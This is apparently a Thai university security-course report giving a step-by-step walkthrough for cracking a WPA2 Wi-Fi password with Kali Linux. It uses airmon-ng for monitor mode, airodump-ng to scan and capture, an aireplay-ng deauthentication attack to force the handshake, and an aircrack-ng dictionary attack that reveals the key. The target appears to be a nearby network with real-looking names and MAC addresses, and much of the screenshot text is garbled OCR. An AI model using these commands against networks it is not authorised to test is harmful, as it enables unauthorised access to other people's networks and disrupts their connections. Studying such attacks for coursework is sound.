Aircrack (Hack Password Wi-Fi)

วิชา 322376 INFORMATION AND COMMUNICATION TECHNOLOGY SECURITY

ความมั่นคงเทคโนโลยีสารสนเทศและการสื่อสาร

เสนอ

ผศ.คร.จักรชัย โสอินทร์

จัดทำโดย

นายธิติรัตน์	เวียงเงิน	553020991-4
นายกิตติณัฏฐ์	ไปรเวทย์	553020423-1
นางสาวชุติกาญจน์	โพธิ์ประพันธ์	553020981-7
นายเอกพันธ์	พุทสะท้าน	553020479-4
นายอติวิชญ์	ต้องจิตร์	553021033-9
นางสาวมัลลิกา	วิมลพันธ์	553020461-3

Sec 4 กลุ่มที่ 12

สาขาวิชาเทคโนโลยีสารสนเทศและการสื่อสาร(โครงการพิเศษ) ภาควิชาวิทยาการคอมพิวเตอร์ มหาวิทยาลัยขอนแก่น ปีการศึกษา 2557 ภาคเรียนที่ 1 ขั้นตอนการทำ Aircrack (Hack Password Wi-Fi)

ติดตั้ง kali linux โดยสามารถdownload ใด้ที่ http://www.kali.org/downloads/

เมื่อติดตั้งเสร็จแล้วจะพบหน้าต่างดังภาพ



1.เมื่อทำการติดตั้งเสร็จให้เลือกที่ Other...

	1 I	
	admin-PC	
Ot	her	
Username:	oot	
System Default	✓ Cancel Log In	

2.ใส่ Username = root, Password = root

	~		
	admin-PC		
Other			
Password:			
System Default 🗸	Cancel	Log In	
The quieter vo	u become the mo		

จะทำการloginเข้ามาใน kali linux



3.เลือกที่ terminal

0	Ţ.	1.	e	
	Applications Pl	aces 🥑 国		114 -
		Terminal Use the command l	line	
	Computer			
			· · ··································	
	usb0			
			-	

จะมีหน้าต่าง command line ขึ้นมา



4.พิมพ์กำสั่ง airmon-ng เพื่อดูว่ามี Interface ใดใช้งานได้บ้าง



5.ทำการ start inerfaceนั้น ด้วยคำสั่ง airmon-ng start wlan0

*และอย่างลืม kill PID ด้วยคำสั่ง (kill 2653),(kill 2746)

**(สังเกตุ monitor mode enabled on mon0)





6.ทำการตรวจสอบว่ามี Wi-Fi ตัวไหนที่เราสามารถใช้ได้บ้าง ด้วยคำสั่ง airodump-ng mon0

จะแสดง Wi-Fi ที่สามารถใช้งานได้ขึ้นมา

										-		
Applications Place	es 🧧 💽									-		
							Wed Oct	29, 12:52 AM	State State States	•		
File Edit View 5						root	t@admin-	PC: ~		E 4	*	6
Cort view St	earch ler	minal Help										
CH 12][Elapsed	l: 8 s][2014-10-2	9 00:52									
BSSID	PwR	Beacons	#Data,	#/s CH	MB ENG	CIPHE	RAUTH	ESSTD				
B0:C5:54:D0:78:F F8:D1:11:2C:1F:64 F8:D1:11:2C:1F:64 F8:D1:11:2C:16:40 F8:D1:11:2C:04:B0 00:62:6F:C7:04:B0 00:62:6F:C7:04:B0 00:62:6F:C7:04:B0 00:62:6F:C7:04:B0 00:62:6F:C7:04:B0 00:62:6F:C7:04:B0 00:62:6F:C2:7C:C0 E4:32:C8:73:88:F1 80:98:F5:70:A3 00:62:6F:C2:7C:C1 20:96:06:77:3EF C2:9F:D8:97:4E:F9 C2:9F:D8:97:4E:F9 C2:9F:D8:97:4E:F9 C2:9F:D8:97:4E:F9 C3:9F:D8:97 C3:	0 -89 8 -49 0 -76 9 -76 9 -76 9 -76 9 -76 9 -82 -82 -82 -84 -82 -84 -86 -87 -87 -88 -88 -90 -90	2 14 22 21 16 16 15 17 2 8 8 6 7 7 7 6 1	0 0 1 5 6 5 2 4 1 4 0 1 1 0 0 2 1 0 0	0 11 0 6 6 0 11 0 7 1 0 3 3 0 6 13 0 6 8 0 13 0 6 8 0	54e. WPA 54e. WPA 54e. WPA 54e. WPA 54e. OPN 54e. OPN 54e. OPN 54e. OPN 54e. MPA 54e. WPA 54e. WPA 54e. WPA 54e. WPA 54e. OPN 54e. OPN 54e. OPN 54e. OPN 54e. OPN 54e. OPN	2 CCMP 2 CCMP 2 CCMP 2 CCMP 2 CCMP 2 CCMP 2 CCMP 2 CCMP 2 CCMP 2 CCMP	PSK E PSK E PSK E PSK E PSK E PSK E PSK E	Ball BaanPoo WiFi4 BaanPoo WiFi5 BaanPoo WiFi5 BaanPoo WiFi5 MiFi5				
BSSID	STATION	•	PWR	Rate	Lost	Frames	Probe	me, the more you are able to h				
not associated) not associated) 0:AA:4B:C0:A7:E4 8:7F:74:4B:B6:7C 8:7F:74:4B:B6:7C 4:32:CB:73:6B:F1 0t@admin-PC:-4	8C:7B:9 84:4B:F 8C:A9:8 C4:17:F C4:A8:1 00:1F:3	D:75:32:24 5:C2:7C:A9 2:43:BF:22 E:A7:AF:08 D:50:E9:97 C:24:C7:84	-84 -92 -75 -1 -1 -91	0 - 1 0 - 1 0 -36 11 - 0 11 - 0 0 - 1e	16 6 6 8 18	3 2 1 4 5 5	Romanti kook@wi	c F2/1 f1				

7.ทำการเลือก mac add ของ router ที่จะ hack และทำการเขียน flie การเข้ารหัสของ router ตัวนั้นออกมาเก็บ ไว้ในเครื่องเรา ด้วยใช้คำสั่ง airodump-ng –c (channel) --write (ชื่อไฟล์) –bssid (mac add) mon0



	111	
Applications Places 😴 🗔	roat	Ved Oct 29, 12:57 AM
CH 1][Elapsed: 1 min][2014-10-29 BSSID PWR RXQ Beacons F8:D1:11:2C:1F:68 -51 89 919 BSSID STATION F8:D1:11:2C:1F:68 AC:3C:08:81:6D:17	9 00:57][fixed channel fon0: #Data, #/s CH MB ENC C 343 1 1 54e. WPA2 C PWR Rate Lost Frames -52 0e-1 0 16	-1 IPHER AUTH ESSID CMP PSK BaanPoo WiF14 Probe

8.ทำการส่งเข้ามูลไป เพื่อให้ไฟล์ที่เราสร้างขึ้นมาตอบรับกัน (handshake)

ด้วยคำสั่ง aireplay-ng –deauth 0 –a (mac add) –c (station เครื่องเรา) mon0

					ALC CON
plications Places 🥰 📐		The second second	Wed Oct 29, 12:	59 AM	
e Edit View Search Terminal	Help				
t@admin-PC:~# aireplay-ng	deauth 0 -a F8:D	01:11:2C:1F:68 -c A	C:3C:0B:81:6D:1	7 mon@	
	Eile Edit Minus Coos	root@a	idmin-PC: ~	*	- • ×
	File Edit View Sear	ch Terminal Help			
	CH 1][Elapsed:	4 mins][2014-10-2	29 00:59][fixe	ed channel mon0: -1	
	BSSID	PWR RXQ Beacons	#Data, #/s (CH MB ENC CIPHER	R AUTH ESSID
	F8:D1:11:2C:1F:68	-44 97 2252	865 11	1 54e. WPA2 CCMP	PSK BaanPoo
	BSSID	STATION	PWR Rate	Lost Frames Pro	be
	F8:D1:11:2C:1F:68	AC:3C:0B:81:6D:17	-49 Ge- 1	0 19	
		D ⁄			

4						
	Wed Oct 29, 1	L:27 AM		**x B	*	Troot
PC: *	File Edit	View Search Terminal	root@admin-PC: ~ Help			- • ×
01:27][WPA handshake #Data, #/s CH MB 542 0 1 54e. PWR Rate Lost -61 0e-1 0	root@adm; e: F8:D1:17 mon1 01:27:01 01:27:01 01:27:03 WPA2 CCMF01:27:03 Frames F1:27:04 01:27:05 01:27:05 01:27:06 01:27:07 01:27:08 01:27:09 01:27:07 01:27:06 01:27:07 01:27:07 01:27:06 01:27:07 01:27:06 01:27:07 01:27:06 01:27:07 01:27:06 01:27:07 01:27:06 01:27:07 <th>In-PC:~# aireplay-ng Waiting for beacon Sending 64 directe Sending 64 directe Canding 64 directe Sending 64 directe Sending 64 directe Sending 64 directe Canding 64</th> <th>deauth 0 -a F8 frame (BSSID: F8 d DeAuth. STMAC: d DeAuth. STMAC: a DeAuth. STMAC: a ireplay-ngd</th> <th>:D1:11:2C:1F:60 :D1:11:2C:1F:61 [AC:3C:0B:81:60 [AC:3C:0B:81:61 [AD:3C:3D[] [AD:3C:3D[] [AD:3C:</th> <th>3 -c AC:3C:08: 2) on channel 0:17] [67 68 / 0:17] [72/2 / 0:17] [72/2 / 0:17] [64 63 / 0:17] [64 64 / 0:17] [0 64 /</th> <th>81:60:1 1 (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs) (CKs</th>	In-PC:~# aireplay-ng Waiting for beacon Sending 64 directe Sending 64 directe Canding 64 directe Sending 64 directe Sending 64 directe Sending 64 directe Canding 64	deauth 0 -a F8 frame (BSSID: F8 d DeAuth. STMAC: d DeAuth. STMAC: a DeAuth. STMAC: a ireplay-ngd	:D1:11:2C:1F:60 :D1:11:2C:1F:61 [AC:3C:0B:81:60 [AC:3C:0B:81:61 [AD:3C:3D[] [AD:3C:3D[] [AD:3C:	3 -c AC:3C:08: 2) on channel 0:17] [67 68 / 0:17] [72/2 / 0:17] [72/2 / 0:17] [64 63 / 0:17] [64 64 / 0:17] [0 64 /	81:60:1 1 (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs] (CKs) (CKs

9.ทำการเลือกไฟล์ที่เป็นตัวเก็บรหัสไว้ ซึ่งเราสามารถทำขึ้นเองหรือไปหาไฟล์กำศัพท์ทั่วโลกมาก็ได้

ด้วยคำสั่ง aircrack-ng –w (ไฟล์เกีบรหัส) –b (mac add)(ชื่อไฟล์ที่เราตั้งไว้จากข้อ 7)



จะได้รหัส wifiมา (KEY FOUND! = 580044)

